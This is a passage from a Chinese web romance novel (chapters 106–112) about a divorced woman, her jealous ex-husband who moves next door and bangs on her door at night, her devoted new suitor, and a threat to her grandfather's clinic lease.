季知许接着说:“我长大了保护妈妈。我知道你没了妹妹很伤心,我会一直陪着你的。”
舒星若将季知许搂进怀里:“谢谢许许,妹妹和我们没有缘分,妈妈会做一些事来祭奠她的。”
失去孩子的那天她就想用何欣的命来填。
只是她手里力量微薄,如果是季宴礼动手,何欣早就没命了。
但他事到如今都舍不得要何欣的命。
她会慢慢蓄积力量,弄死何欣。
言永飞一早到医院的时候,用红包打发了媒体人。掀开病床上的被子,里面竟是几个枕头。
守在外面的人也没发现何欣的踪迹,言永飞记忆里的何欣没有这么聪明,她背后还有人。
言永飞打给季宴礼:“季总,何欣不见了。”
人在他们的眼皮子底下失踪,季宴礼脸色发白,这女人藏得可真深啊。
季宴礼问:“查了她买了机票或者火车票没有?”
言永飞:“她证件在我们手上,临时办证的地方查过了,她没去。”
“那就还在海市,”季宴礼大惊:“不好,她可能伺机要对付星若。你赶紧找几个人暗中保护她。”
“好的,季总。”
让季宴礼心安的是何欣失踪的几天,一切都相安无事。
也许何欣就是怕自己找麻烦,可能坐汽车离开了。
只要舒星若安全就好。
言永飞问:“还要继续派人保护太太吗?”
季宴礼说:“当然要!”
言永飞小心翼翼的说:“可是太太已经发现他们了,觉得您是在监视她。我怕您会继续惹她生气。”
第107章 苏容泽的妈妈亲自邀请她参加家宴
季宴礼深吸一口气:“她怨我也罢,我不能让她再出事了。”
上次因为他的疏忽,导致舒星若被害得流产和终生不孕,他恨不得杀了自己。
这次,他决不能让舒星若独自面临危险。
收下的人将舒星若的一举一动汇报给他,她的生活比较单一。每天早上起来晨练,在家用餐,随后去公司上班。工作到傍晚,去接儿子放学,回家吃晚饭。
让季宴礼感到不适的是:晨练、早餐、午餐和晚餐都有苏容泽的参与。
他就差住进舒星若家了,准确的来说是搬回苏容泽自己的家。
季宴礼死死盯着手机屏幕,那上面是下属刚刚发来的照片。
清晨的别墅院子里,舒星若和苏容泽穿着同色系的运动服并肩锻炼,连呼吸的节奏都带着一种旁人无法插足的默契。
早餐桌上,苏容泽将剥好的鸡蛋放进季知许的碗里,小家伙仰着头,给了他一个灿烂的笑。
季宴礼恼火,连儿子都偏向苏容泽了。
午餐时间刚到,他就走进了舒星若的办公室,过了一会两人肩并肩的出来。
舒星若的脸上挂着笑容,自从九月份以后,她就再也没有那样对自己笑过了。
晚餐时间,苏容泽又来了,季知许还跑出来迎接他。苏容泽抱着季知许,他还亲昵的搂着他的脖子。
这是自己都不曾有的待遇。
吃完晚饭他们又带着儿子出去散步,俨然像一家三口。
每一张照片,都像一把淬了毒的尖刀,精准地捅在他最痛的地方。
他曾经拥有的这一切,却被另一个男人拥有了。
唯一让他没那么痛楚的是,苏容泽晚上回自己家了。
他们要是同居了,季宴礼会疯掉的。
夜深人静,季宴礼在黑暗中翻来覆去,手机的冷光照着他阴沉的脸。他点开相册里视频,将视频发给了苏容泽。
【这是星若二十二岁弹给我听的,她的一生中最爱是我。】
发送成功的瞬间,他仿佛赢回了一城,心脏病态地鼓噪着。
另一边,苏容泽刚洗完澡,手机嗡地震动了一下。
他点开视频,屏幕里那个青涩的女孩,眼神清澈如水,饱含着孤注一掷的深情。
他心里掠过一丝怜惜,那是对过去那个爱得卑微的舒星若。
季宴礼也就剩下这点可怜的过去了。
苏容泽擦着头发,唇角勾起一抹冷嘲,不紧不慢地敲下一行字:【那又怎么样?你还不是冷落了她六年,被一个绿茶女蒙蔽,联手把她气走了。还害死了她的孩子。】
一句话,像一颗精准制导的导弹,轰然炸在季宴礼本就摇摇欲坠的理智上。
【苏容泽,你这个趁人之危的卑鄙小人!不是你从中作梗,星若不会这么快离开我!】至少有一年多的时间,舒星若还会留在自己身边。他已经知道错了,也许这一年多的时间让舒星若回心转意。
都是该死的苏容泽。
苏容泽从字里行间读出了季宴礼的气急败坏,他甚至能想象出季宴礼暴跳如雷的模样,心情莫名好了许多。
【我要是你,就不敢提“最爱”这两个字。这么好的女人,把你从地狱里拉出来,无微不至的呵护你照顾你。结果呢?被你当成空气,还联合外人把她气走。季宴礼,你现在这副样子,只会让人觉得你是个忘恩负义的废物。】
“忘恩负义的废物”这几个字,彻底击溃了季宴礼的防线。
他既恼又恨,却无法反驳一个字。因为苏容泽说的,全都是事实。
可他知道错了,他会改,他要把舒星若抢回来!
手机都快要被他捏变形了。
季宴礼猩红着眼,拨通了言永飞的电话,声音是从牙缝里挤出来的:“不管用什么手段,出多少钱,把舒星若家隔壁那套别墅给我买下来!立刻!”
“好的,季总。”言永飞在那头连大气都不敢喘,他明显感觉到季宴礼的失控。
不过言永飞心底有些幸灾乐祸,谁让他当初那么对舒星若的?那么好的女人被他弄丢了,一切都是他咎由自取。
第二天下午,苏容泽提着一大一小两个精致的礼盒,走进了舒星若的办公室。
“这是什么?”舒星若放下手里的文件,有些好奇。
苏容泽笑着将大盒子打开,一片温柔的水蓝色映入眼帘。
这是一件真丝缎面的刺绣礼服,光泽流转,裙摆上用银线绣着繁复而低调的暗纹,随着光线变幻,宛若月光下的湖面。
旁边的小盒子里,则静静地躺着一套与之相配的钻石首饰,项链、耳环、手链。
设计精巧,不显张扬,却熠熠生辉。
舒星若看呆了片刻,随即纳闷道:“好端端的,送我这么贵重的东西干什么?”
“明天晚上,我家有个晚宴,”苏容泽的眼神带着期待,“想邀请你当我的女伴。”
舒星若顿时有些为难,下意识的拒绝:“你的家宴,我去不太合适吧?”
舒星若心想,恋爱八字还没一撇,就要去见家长,也太快了。
苏容泽仿佛看穿了她的顾虑,轻笑一声:“别紧张,这套礼服和首饰,是我妈陪我一起去挑的,她特意让我送给你。她说想见见你。”
“啥?”舒星若的眼睛瞬间瞪圆了,简直不敢相信自己的耳朵,“你妈亲自挑的,她不是邀请了惠萱彤吗?”
惠萱彤那天炫耀的时候可像只骄傲的大公鸡了,这苏家的家宴邀请那么多外人干嘛?
“哦,你说她啊。”苏容泽的语气轻松得像是在谈论天气,“以前我妈以为她跟小时候一样可爱,现在知道她目中无人还蛮横无理。昨天下午,我们家的管家已经亲自上门,把她手里的邀请函收回来了。”
舒星若几乎能想象出惠萱彤那张扭曲的脸,心里突然觉得有些解气,又有些无奈。
这下好了,梁子算是彻底结下了。
舒星若说:“你们这么对她,她只会把所有的仇恨算在我头上,到时候来找我麻烦。”
她不喜欢未知,惠萱彤在暗,自己在明。要是她发起狠来,又是一场搏斗。
第108章 离过婚又怎么样
苏容泽却十分淡定:“上次她去找你的时候,我就知道她嫉妒你,停掉惠明集团的合作只是一个警告。我已经告诉她了,如果她再不安分,我不介意让他们一家人露宿街头。”
舒星若惊讶:“你竟然会未雨绸缪?”
苏容泽有些小傲娇:“不然呢?连我心爱的女人都保护不了,那我不是很没用?”
舒星若心里触动,他一路以来呵护着自己,事事为她着想。
这样好的人,他们好像有点有缘无分。
苏容泽问她:“你为什么突然有些失落?”
“我只是觉得你太好了,我……。”舒星若涨红了脸,后面的话没有说出来。
苏容泽明白她是怕耽误自己,“星若,不要有负担,一切都是我心甘情愿的。”
他从未对一个女人心动过,舒星若是他第一个爱上的女人,他必视若珍宝。
办公室里的气氛有些尴尬,落针可闻。
苏容泽忽然想起昨晚怼季宴礼的精彩画面,把手机递给舒星若。
“你那无聊又可悲的前夫哥。”
苏容泽把季宴礼的备注名称都改成了前夫哥。
舒星若看他们的聊天记录,翻到了当年的那条视频。
这条视频是毕业礼上林安禾给她录的,这么多年她一直视若珍宝。还放在家里一个U盘里珍之视之,搬出去的时候,她彻底忘了这件事。
爱意消失得这样彻底。
舒星若自嘲的说道:“当年的我很傻,明知道他有女朋友,还想来一场最后的告白。”
舒星若想起当年的事,忽然明白何欣当年为什么选自己下药了。
因为在季宴礼心中她已经是那个恶毒女人了,即使嫁给他也不会得到幸福。
何欣一箭双雕,既可以摆脱季宴礼,又可以让舒星若被他磋磨。
苏容泽望着她暗淡的眼神,安慰道:“你只是表演了一个节目,并没有做伤天害理的事。青春年少的悸动又不是死罪。”
舒星若低头看到苏容泽骂季宴礼是忘恩负义的废物,开心的笑了。
“季宴礼肯定被你这句话气死了。”
苏容泽摊手:“我说的是实话。”
舒星若笑道:“扎心的实话。”
苏容泽说:“怪不得那天他执意要送你吉他,是想你想起往事。他也就只剩往事可以缅怀了。”
舒星若目光看向窗外的车水马龙,缓缓说道:“迟来的阳光,救不了枯萎的向日葵。”
苏容泽握住她冰冷的手:“星若,不要因为别人的过错惩罚自己。即使我们一辈子没有孩子,我也不介意。”
舒星若却心知肚明,他家大业大,没有继承人他同意,他母亲也不会同意。
到了下班时间,苏容泽陪舒星若去接季知许。
季知许在门口排队,远远的看见了他们,“妈妈,苏叔叔。”
他觉得苏容泽比季宴礼靠谱多了,有时间就来陪妈妈。
还陪自己玩,做他的孩子也挺幸福的。
要是妈妈跟他结婚,将来生个弟弟妹妹,他一定会好好的带他们。
季知许跑到两人面前,自然的牵起他们的手,小脸上尽是快乐。
舒星若问他:“你今天在幼儿园玩得特别开心?”
“我每天都玩得开心啊。”他因为聪明又好看,是他们班老师的得意小屁孩,每天在学校里都无比快乐。
“你们俩来接我我很开心呀!”
南真仪也来接苏恬,她看见苏容泽,脸上带着幸灾乐祸的笑容。
“容泽,妈回来了,你还跟舒小姐来往,她老人家知道了恐怕会不高兴的。”
南真仪不认安明霞那个婆婆,那种女人让她丢脸。
明面上她是豪门儿媳,她只认苏容泽的妈妈吉广琪。
苏容泽毫不留情的说:“大嫂,听说你家争产的官司闹得满城风雨。你爸那几个私生子女就差开直播控诉你妈了,你还有闲情逸致在这关心我的私事?”
南真仪家最近因为起诉婚内财产的事闹得鸡飞狗跳,胡丽淑带人去把别墅给封了,几个女人孩子都被赶了出来。
那些被包养的女人们,舆论不同情他们,但是私生子们打着孩子无辜的旗号,跃跃欲试的要当网红。
胡丽淑可不是吃素的,请了一个公关团队,专门雇人在他们账号下谩骂,一发视频就骂。
舆论也是一边倒的偏向原配,私生子们和背后的女人们只能暂时作罢。
但南景还是用公司的钱养他们,胡丽淑在公司没有实权,毫无办法。
本来如果南真仪开口要苏容泽帮忙料理她的家事,他肯定帮忙,他有的是办法逼南景就范。
他对非婚子女深恶痛绝。
但是南真仪现在竟然来对自己的事指手画脚,那他就不给她留面子了。
南真仪脸色顿时黑了下来:“咱们苏家有头有脸的,你跟一个离过婚的女人来往,我们也跟着丢脸。”
舒星若本想骂她的,苏容泽上前说道:“离过婚怎么了?她只是婚姻失败,好过你为了钱嫁一个私生子。再说了苏家的脸不是早就被你的婆婆丢光了吗?”
南真仪被苏容泽的话堵得心口如同塞了一块巨石,她丈夫明面上说是苏家大少爷,但是富豪圈人人知道他是私生子。
苏家的财富几乎与他无关。
背后时常有一些长舌的贵妇笑话她,为了钱,私生子都嫁。
南真仪差点被气哭,舒星若憋着笑,苏容泽是懂杀人诛心的。
苏容泽瞪着她说道:“以后管好你的舌头,上一个羞辱星若的惠萱彤已经被我收拾了,我给你最后一次警告。”
南真仪不是不知道苏容泽的手段,吓得眼泪都憋回去了。
三人上车之后,季知许夸苏容泽:“苏叔叔,你刚刚护我妈的时候真的好帅哦。”
苏容泽的脸由冰冷转向柔和,他微笑道:“男人嘛,就是要好好护着女人。”
季知许的大眼睛忽闪忽闪的:“妈妈,你可以给苏叔叔一个奖励,比如亲他一口啦。”
苏容泽觉得季知许简直就是他亲生的,舒星若假装生气:“小孩子不许胡说八道。”
苏容泽护着:“不许凶孩子。”
“你就惯着他吧!”
三人一路有说有笑。
车子刚到门口,季宴礼已经站在了门口。
舒星若脸上的笑容顿时消失:“他怎么又来了?”
第109章 前夫哥搬到隔壁来了
季知许说:“爸爸应该是在家孤单了。”季知许对季宴礼的冷漠印象深刻,他如果不是孤单了,怎么会来找舒星若?
苏容泽望着季宴礼挺拔的身姿,意味深长的说:“你这个前夫倒是迷途知返了。”
三人下车,季宴礼看到苏容泽的瞬间,脸上的笑容消失殆尽。
他们三个看起来真像一家三口啊!
季宴礼死死的盯着苏容泽,眼神像要吃人:“你总是往女人家跑好吗?”
苏容泽冷笑道:“星若未嫁我未娶,又什么不好的?总好过你没离婚时,就给别的女人办生日宴的好。”
该死的苏容泽总是喜欢拿过去来刺他,季宴礼冷着脸说道:“人孰无过,我知错能改。”
苏容泽呛道:“改要改得及时,现在已经晚了。”
舒星若不想跟他掰扯太多,问道:“季总,你今天来有什么事?”
季宴礼嘴角挂着得意的笑容:“星若,隔壁的别墅我已经买了,我搬过来了。”
舒星若瞬间感到全身脱力,自己好不容易摆脱他了,又被他追过来了。
“你搬过来干嘛?我们已经离婚了,我不能回头的。”
她的一句话又将他的心撕得粉碎。
季宴礼走近,眼睛直逼舒星若:“他每天与你形影不离,我为什么不能搬到你隔壁?”
苏容泽嘴角扯了扯:“季总原来是为了防备我,我还真是三生有幸。”他心下黯然:“本来星若就还没接受我,这个搅屎棍一来,更加难追了。”
舒星若说:“我不管你搬到哪住,不能来打扰我的生活。”
她好不容易离婚了,季宴礼要还是跑过来晃悠,那跟没离有什么区别?
季宴礼不甘心:“凭什么他可以陪你,我不行?你让我处理何欣他们,我已经尽力在找他们了。”
舒星若冷漠的说道:“当初我请求过你,你不愿意,过时不候。”
她牵着季知许走了进去,苏容泽紧随其后。
回到家坐在沙发上,舒星若的心口还在起伏。阴魂不散的狗男人。
季知许抱着她说:“妈妈,你不是教过我宠辱不惊吗?爸爸爱干嘛就干嘛,你不要受他影响。”
舒星若的眼泪在眼眶中打转,她一步错步步错,就因为当年义无反顾的嫁给季宴礼,似乎要永远摆脱不了他。
苏容泽坐在她身边,按着她颤抖的肩膀,“不用怕,有我在,他不能登堂入室。需要我搬过来帮你吗?”
舒星若摇摇头:“暂时不用。”他们还没相处过太久,就直接生活在同一个屋檐下,只会重蹈上一段婚姻的覆辙。
她现在觉得如果要开启下一段恋爱关系,还是要多相处。
“以后你不用每天跑过来找我,太辛苦了。”
苏容泽愣道:“你是怕你前夫看见了不好?”
舒星若立刻否认:“跟他没关系,我觉得你每天这样跑来跑去的,你工作又忙,实在不想给你增加负担了。”
季知许见他们在述衷肠,立刻跑上楼去了。
“你们好好聊,我先走啦。”
苏容泽被他的举动弄笑:“你这个儿子真的机灵哦,还知道留空间给我们。”
舒星若被季知许的暖心举动感动,“他呀,从小就精,他有次生病把何欣耍得团团转,何欣气死了也拿他没办法。”
“比他那个瞎眼的爹聪明多了。”
听到这话,舒星若忍不住笑了,她笑起来犹如花开般烂漫,让苏容泽心跳都快了。
苏容泽正色道:“我其实很喜欢跟你相处,在你身边我找到了久违的平和感。而且许许在,让我觉得家庭温暖如此弥足珍贵。”
他大学毕业后就进东盛集团工作,无数次腥风血雨之后,才坐稳集团董事长的位置。
他身边大部分人都是利益至上,而舒星若,在这喧嚣浮华的尘世,凭着一颗赤子之心悬壶济世。
她这样的人如果都不能过好,那也太没天理了。
舒星若眨了眨眼睛:“你这是当我们是家人了吗?”也许并不是爱情。
他伸手揽住舒星若的肩,舒星若并没有拒绝,她靠在苏容泽的身上,觉得他宽厚的胸膛让自己很安心。
苏容泽的心中一阵荡漾:“星若,我想你成为我的爱人,许许成为我的家人。”
舒星若不知道为什么,对苏容泽没有爱情的感觉,只是觉得安心。
不像她当年心动的样子,也有可能上一段感情投入太多,她现在对爱情免疫了。
她小心翼翼的问:“我要是说我没爱上你,你会生气吗?”
苏容泽的脸色一变,苦笑道:“爱情不能勉强,你不爱我,是你遵从自己的内心。但是你依靠我,说明你并不排斥我。星若,我不介意用一生的时间来等你爱上我。”
舒星若真诚的说:“我就怕自己耽误了你。你长得帅人又好能力卓越,其实大把的人喜欢你。”
苏容泽低头看怀里的她,轻轻一笑:“你猜我为什么单身到三十岁?”
舒星若笑了:“好吧,弱水三千只取一瓢。容泽,你是个狠人。”
苏容泽长长的叹了口气:“在商场上为了利益我有太多身不由己,感情上我不想委屈自己。”他见过太多虚与委蛇的婚姻,他觉得自己的婚姻应该有爱情。
他亲亲的吻了舒星若的额头,舒星若觉得这种感觉很奇异,她并不爱苏容泽,却从来不抵触跟他肢体接触。
舒星若说:“我上去一下。”
“嗯。”
她上楼给林安禾打电话:“安禾,我是不是有病啊?”
林安禾最近忙得脚不沾地,看到了舒星若的新闻,只简单了问了声,见她解决了,这几天两人没联系。
林安禾震惊的问道:“发生了什么事?”
“我没爱上苏容泽,但是他抱我,亲我,我一点都不抵触。之前在季家,季宴礼一碰我我就觉得恶心。”
林安禾一脸无语:“大姐,你这是生理性喜欢好不好,我都说了,你太久没睡男人了。放着苏容泽这样的大帅哥不睡,简直就是暴殄天物。”
舒星若满脸通红:“可是我们俩接触并不深。”
“深入交流一下不就好了?”
舒星若挂了电话,问这个色女还不如不问。
满脑子的黄色废料。
舒星若下楼的时候,舒延兆和宁可芳来了。
舒延兆的脸色不太好。
第110章 不受待见的前夫哥
舒星若从未见过舒延兆这样的表情,他一向都是遇事沉着冷静。
连忙上前问道:“外公,行止堂出事了吗?”
宁可芳本想说什么,却被舒延兆制止了。
他说:“行止堂没事,看你最近忙,没空回家,我来帮你看看身体怎么样了。你外婆也想你们了,顺便跟你们一起吃饭。”
舒星若叫佣人多做了几个菜。
等晚餐的时间,舒延兆说:“我给你号一下脉。”
舒星若挽起衣袖伸出手来,舒延兆号了一会,他一言不发。
一旁的苏容泽比她还紧张。
舒延兆说:“我明天回去写个房子,让人把药煎好给你送来,你先喝五副药调理一下。”
“好!”
舒星若心里有数,如果她有希望治愈,外公必定喜上眉梢。如今他反应平淡,可见没有好转。
苏容泽倒觉得以舒延兆的医术,应该问题不大。
他听舒星若说过褚茗的病情,备孕多年,都被舒延兆调理好了。
舒星若也一定会好的。
佣人将饭菜端了上来,季知许下楼吃饭。
他看见舒延兆和宁可芳,小脸笑成了一朵花。
“太爷爷、太奶奶,我想死你们了。”说完就钻进舒延兆怀里撒娇。
他这样的套路每次都对家里的老人使,偏偏他们都喜欢这一套。
两位老人看到这个小机灵鬼可爱的模样,心头的阴霾渐渐散去一些。
三个人边吃边聊,季知许给舒延兆讲他在《博物》杂志上看到的各种知识,两个老人大开眼界。
这才多久,他的知识储备又增长了。
舒延兆特别开心,夸道:“比你妈妈小时候还聪明。”
宁可芳也说:“可不是,我以前觉得若若已经够聪明的了,想不到许许更厉害。”
季知许傲娇的扬起小脸:“我这叫青出于蓝而胜于蓝。”
舒延兆更开心了:“你连这个都知道?”
“我不止知道这个,我还知道我大部分的基因遗传来自妈妈。”
舒延兆想起季宴礼就不痛快,“幸亏你像你妈。”否则又是一个白眼狼。
舒星若跟苏容泽说:“他看见他爷爷奶奶也这样,特别会哄人,老年人都喜欢他。”
苏容泽给舒星若夹了一块松鼠鱼,“他长得好看,嘴巴又甜,哪个老人不喜欢?”
他心想:“要是我们生的孩子,无论像谁,应该也会这么聪明伶俐的。”想到这一点,他不禁笑了起来。
舒星若问他:“想什么呢?笑得这么开心。”
苏容泽怕引起她的伤心,“没什么。”
吃完饭以后,舒延兆对苏容泽说道:“苏总,你来送送我们。若若,你留在家里。”
显然是有话要单独对苏容泽说。
苏容泽不好意思的说:“您不要叫我苏总,叫我容泽就行了。”
舒延兆赞许道:“行,那就麻烦容泽了。”
苏容泽送老两口出门,舒延兆也不藏着掖着:“我刚替若若号脉,她没有好转。我也不确定她什么时候能好,如果她一直不能生育,你还会护着她吗?”
苏容泽不假思索的回答道:“我爱星若,无关她能不能生育,是她这个人就行。”
有了他这句话,舒延兆稍稍安心。
“希望你能跟若若长长久久下去。”
苏容泽坚定的说道:“一定会的。”
宁可芳笑了:“你比她那个前夫靠谱多了。”
舒延兆皱眉说:“不要提那个晦气的玩意。”
季宴礼被舒家人讨厌,苏容泽心里别提有多舒坦了。
院子里的停车位不够,舒延兆的车停在外面,苏容泽送他们上车。
往舒星若家走过来的季宴礼,看到苏容泽跟他们在一起,心惊,“难道他们这么快就见家长了?”
他急切的跑过来,问安:“外公外婆,晚上好!”
舒延兆看见他就来气:“别乱叫,你跟若若已经离婚了,我们跟你没有关系。”
季宴礼被呛得无力反驳。
转脸温和的对苏容泽说道:“容泽,若若就拜托你了。”
季宴礼大惊:“外公,你把星若托付给他了?”
舒延兆不悦道:“我没有跟你说话。”
苏容泽颔首:“您放心,我一定会护好她的。”
舒延兆放心的驱车离开。
舒延兆对两人截然不同的态度让季宴礼心塞,一旁的言永飞都替他尴尬,他们季总可从来没有这样吃瘪过。
舒延兆他们走后,季宴礼不再恭敬,眼神凌厉:“苏容泽,你不要以为你讨好了老人家,你就能赢得舒星若的心。”
苏容泽淡然一笑:“有没有用我不知道,但我知道他们喜欢我讨厌你。你不能让他们爱屋及乌,怎么不算一种失败呢?”
季宴礼一张俊脸因为生气快变形了,“你先搞定你妈再说吧。”
苏容泽依旧云淡风轻,“不好意思,我妈喜欢星若。明晚我家家宴,我妈亲自去挑的礼服首饰,叫我送给星若,让她做我的女伴。”
季宴礼听到这么多信息,并不生气,嘴角微微上扬:“是吗?明晚你就知道了。”
苏容泽心里一沉:“难道他动了什么手脚?”
季宴礼按了别墅的门铃,佣人却拒绝给他开门。
“季先生,不好意思。舒小姐交代了,今天她不想见您。”
季宴礼眉毛都立起来了:“不想见我?”又看了一眼身后的苏容泽,“凭什么?”
他气急败坏的给舒星若打电话,被她直接挂掉了。
他更加恼火了,继续给季知许打,“儿子,下来给我开门,我要进去找你妈。”
小家伙说:“爸爸,我怕被妈妈打屁屁,不能放你进来哦。妈妈今天心情不好。”
“行吧,那你们好好休息。”
季宴礼泄气的往回走,苏容泽在一旁炫耀似的用指纹开门。
要不是一旁的言永飞拉着,季宴礼直接就跟他打一架了。
季宴礼骂道:“趁虚而入的小人,你说怎么有男绿茶?舒星若是被他灌了迷魂药了吗?连指纹他都有。”
言永飞在一旁不敢说话,他心想:“这本来就是人家自己的房子啊。”
苏容泽回到客厅,舒星若的脸色苍白如纸。
苏容泽慌了:“星若,你身体不舒服吗?”
第111章 前夫哥深夜砸门
舒星若摇了摇头:“我身体没事,就是心里慌。我总觉得行止堂出事了,我打电话问过员工了,他们个个都三缄其口。刚外婆欲言又止的,肯定有事瞒着我。”
苏容泽回想起舒延兆进门时不大好看的脸色,以及见到自己时的讶异,也知道他们有事。
他镇定的开口,声音带着安抚人心的力量:“先放宽心,等明天一早,我陪你亲自去行止堂看看。别怕,万事有我。”
他的手掌温热,覆盖在舒星若冰凉的手背上,传递着坚实的力量。
他的镇静,让舒星若慌乱的心绪安定了些许。
她抬眼问他:“刚才外公找你出去,都说什么了?”
苏容泽脸上漫开笑容:“外公说,把你托付给我了。”
“啊?”舒星若很是意外,“他好端端的,怎么会说这个?”
“或许是觉得我比某些人可靠吧。”苏容泽的笑意加深,“刚在门口碰上你前夫,外公亲自盖章他晦气,你前夫脸都气歪了。他还想进来,被你未卜先知的拒绝了,不是他助理拉着,我俩就打起来了。”
“我外公确实很讨厌他。”听到苏容泽的话,舒星若非但没有轻松,反而心头更沉。要不是家里真出了大事,以舒延兆的脾气,绝不会如此郑重地将她托付给一个男人。
外公从小就教她自立自强,非到万不得已,不会走这一步。
见她愁容未散,苏容泽凝望着她,提议道:“要不,我今晚留下来陪你?”他将舒星若轻轻拉入怀中,她的身体有些颤抖,“我就在隔壁,随时保护你。”
舒星若没有推开他,他胸膛的温度能驱散心底的寒意。
“好,你睡客房吧。”
苏容泽心中一喜,这是个不错的进展。他明白,世上的事没有一蹴而就的。
洗漱过后,苏容泽换上睡衣,发现舒星若正在季知许的房间里讲故事。
今天讲的是历史故事,著名的土木堡之变。
舒星若将京城保卫战的悲壮与坚韧讲得淋漓尽致,苏容泽在一旁听得都津津有味。
讲到最后舒星若说道:“君王死社稷,天子守国门。大明皇帝除了英宗个个铮铮铁骨。不像抗战期间,蒋光头率先逃跑,置金陵城百万民众于不顾。”
故事讲完,季知许沉默了许久,不像往常那样开怀大笑。
他认真地开口:“妈妈,我以后要好好学习,去研发最厉害的武器,保护我们的国家。”
苏容泽颇为感慨,这话从一个五岁的孩子口中说出,实在难得。但联想到季知许平日里看的那些书,又觉得合情合理。
他不禁想:“即使星若将来不能生孩子,将苏家交给许许和恬恬,也未尝不可。只是苏恬那边,她的原生家庭是个麻烦,要将她立为继承人,必须想办法彻底隔绝她父母那边的影响才行。”
他走过去,揉了揉季知许的头发:“许许有志气,苏叔叔全力支持你。”
“谢谢苏叔叔!”
安顿好孩子,舒星若送苏容泽回客房。
在门口,苏容泽拉住她的手:“星若,你是个非常好的母亲。”
舒星若神色黯然下来:“可我或许不是个好妻子,我没法为你生孩子。”
苏容泽将她拉进房间,顺势把门带上。
他将她抵在门上,温柔而绵长的吻随之落下。
这个吻带着安抚和珍惜,让舒星若有些沉溺。
舒星若被他的吻包裹着,手放在他的胸肌上,他的心脏几乎要跳了出来。
他几乎要将她吞噬,他很会亲,舒星若享受着甜甜的吻。
他足足亲了她五分钟,他的呼吸急促,伸手要褪去她的衣衫,却被舒星若制止了。
“容泽,我……我还没有准备好。”舒星若娇喘着说道。
她内心总觉得他们进展太快,好像有些失控。
苏容泽也并不恼,他按下心中的悸动:“星若,我会等你,等你心甘情愿的跟我在一起。”
说罢,在她额头轻轻的一吻。
“晚安,明天我陪你去行止堂。”
“好,晚安。”
这一夜,季宴礼注定无眠。
苏容泽竟然在舒星若家过夜了。
他双目赤红地拨通电话,声音里满是压抑不住的怒火:“你们两个是不是鬼混到一起了?”
舒星若被他的用词激怒:“你嘴巴放干净一点!”
“舒星若,你早就跟他勾搭上了吧?”季宴礼的声音仿佛从牙缝里挤出来,“何欣不过是你用来让我愧疚的幌子。”
“别把你的龌龊想法套在别人身上,我决定跟你离婚的时候,根本就不认识他!”季宴礼的无耻,再次刷新了她的认知。
她不想再与他多说一句,径直挂断了电话,然后关机。
季宴礼像一头被激怒的困兽,他无法容忍,那个曾属于他的女人,如今躺在别的男人的臂弯里。
尤其那个男人还是苏容泽,一个他无法轻易碾压的对手。
怒火攻心之下,他冲到舒星若的别墅外,开始疯狂地砸门。
巨大的声响惊醒了佣人,她们慌忙上楼敲门:“舒小姐,怎么办?”
舒星若快要烦死,披上外套下楼,苏容泽也听到动静出来了。
门一开,舒星若的怒气已经到达天灵盖:“季宴礼,你有病吧?我们已经离婚了,我的事你凭什么管?”
季宴礼的脸因愤怒而涨得通红,像煮熟的龙虾。
他指着两人:“你们居然敢在我眼皮子底下搞到一起!”
不等舒星若开口,苏容泽已将她揽入怀中,用一种胜利者的姿态挑衅道:“这还要多谢季总亲手作死,才让我有机会得到星若这样的好女人。”
这话彻底引爆了季宴礼,他一拳朝苏容泽脸上挥去,苏容泽侧身敏捷地躲开。
眼看两人就要动手,舒星若立刻喝止:“季宴礼,你再胡闹我就报警了!”
季宴礼满不在乎地冷笑:“报警?好啊!正好让记者们都来看看,你舒星若刚离婚就带着男人回家过夜,苏容泽为了你跟前夫大打出手!我倒要看看,顶着这种新闻,苏家还要不要你这个儿媳妇。”
苏容泽攥紧的拳头缓缓松开,他可以不在乎自己,却不能不顾及舒星若的名声。
他沉声说:“你走吧。我今晚睡在客房,不是你想的那样。”
这时,季知许的小脑袋从舒星若身后探出来,怯生生地说:“爸爸,苏叔叔说的是真的。”
儿子的话,总算让季宴礼的怒火稍稍平息。
他死死盯着苏容泽,发出最后的警告:“不许碰她。她这辈子,只会是我的女人。你要是敢越界,我不在乎亲手毁了她的名声,让她这辈子都进不了你们苏家的门。”
苏容泽算是见识了他的毫无底线,但他绝不会因此放弃舒星若。
“季宴礼,我们走着瞧!”
第112章 先领证好吗?
进屋的时候,舒星若主动牵起苏容泽的手,柔声说道:“他发疯,是因为接受不了我主动放弃他。你不要因他生气,不值得。”
苏容泽不是生气,是担心季宴礼成为他迎娶舒星若最大的障碍。
他和季宴礼两个人,互相干不掉对方,又谁也看不上谁。
苏容泽握紧她柔软的手:“我没有生气。”他的眼睛里装着深情:“你说要是我们真的同居了,他会怎么样?”
舒星若想了想说道:“大概跟今晚一样发神经吧,不过世界不是绕着他转的,他不能为所欲为。”迟早他要习惯没有她的生活。
苏容泽望着她洁白无瑕的脸,他忍不住俯身亲她的粉唇,“要是当年我跟你念同一所大学就好了。”
舒星若轻拍他的胳膊,笑道:“也许我们会成为彼此的初恋。”
要是当年她先遇见苏容泽,可能就不会爱上季宴礼,不用经历这场错误的婚姻。
两人相视一笑,舒星若对苏容泽的感情发生了变化,她觉得也不是不能跟他在一起。
各自回了房间休息。
翌日上午,两人一同到达行止堂。
下车之后,苏容泽自然的拉起她的手。
跟她上次回来完全不同,行止堂里欢乐的气氛不见了,每个人脸上都带着忧伤。
舒星若心里“咯噔”一声,果然出事了。
两人走进舒延兆的办公室,舒星若喊道:“外公,行止堂到底发生了什么事?”
舒延兆脸上闪过一丝丝慌乱,但转瞬即逝。
他故作轻松的说道:“没事啊,你看这不好好的吗?”
舒星若不买账:“外公,我从小在行止堂长大,行止堂的氛围我不知道吗?平时个个都神采奕奕,今天他们都神色凝重,肯定是发生了什么。您要是不告诉我,我就在这不走了。直到您说出来为止。”
苏容泽也诚恳的说道:“外公,您有困难尽管开口,只要我力所能及,必定帮您解决。”
舒延兆见瞒不住他们,开口说道:“大伙不高兴,是因为行止堂的铺子被人买了下来,新房东正逼我们搬走呢。”
行止堂的商铺位置在当年租的时候,并不是黄金地段,加上面积有近千平,不好出租。
见舒延兆要,房东一口气签了十年。
后来到期续约,房东因为被舒延兆治好了折磨他多年的慢性病。为表感念,又低价续了二十年。
如今要找这么便宜的铺子很难找,加上装修,至少投进去上千万。
行止堂收费便宜,投这么多,猴年马月才能收回成本。
钱舒星若有,她倒不介意拿出来。
行止堂赚不赚钱不重要,重要的是外公一生的心血。
主要是位置,短时间还真找不到合适的。
舒星若说:“不是买卖不破租赁的吗?”
舒延兆叹口气道:“对方财大气粗,愿意照合同赔钱赶我们走。”
舒星若说:“您把房东电话给我,我找他聊聊。”
舒延兆却拒绝,“房东油盐不进。”
